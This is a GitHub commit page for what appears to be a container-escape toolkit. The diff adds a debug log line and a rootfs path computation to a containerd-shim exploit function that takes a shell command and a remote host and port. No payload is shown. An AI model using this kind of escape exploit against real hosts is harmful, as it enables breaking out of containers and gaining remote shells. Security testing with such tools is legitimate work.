Skip to content

Commit

Permalink
fix #114 (shim_pwn): a new log for debug, need to fix the bug in future
Browse files Browse the repository at this point in the history
  • Loading branch information
neargle committed Feb 22, 2025
1 parent 2ed837a commit ae411af
Showing 1 changed file with 3 additions and 0 deletions.
3 changes: 3 additions & 0 deletions pkg/exploit/escaping/containerd_shim_pwn.go
Original file line number Diff line number Diff line change
Expand Up @@ -124,9 +124,12 @@ func containerdShimApiExp(sock, shellCmd, rhost, rport string) error {
localBundlePath := fmt.Sprintf("/cdk_%s", util.RandString(6))
os.Mkdir(localBundlePath, os.ModePerm)

// dockerAbsPath := GetDockerAbsPath() + "/merged" + localBundlePath
absPath := GetDockerAbsPath()
absPath = strings.TrimSuffix(absPath, "/merged")
dockerAbsPath := filepath.Join(absPath, "merged", localBundlePath)
// add a new log info, to find bug in real world
log.Println("rootfs path, dockerAbsPath:", dockerAbsPath)

var payloadShellCmd = ""
if len(shellCmd) > 0 {
Expand Down

0 comments on commit ae411af

Please sign in to comment.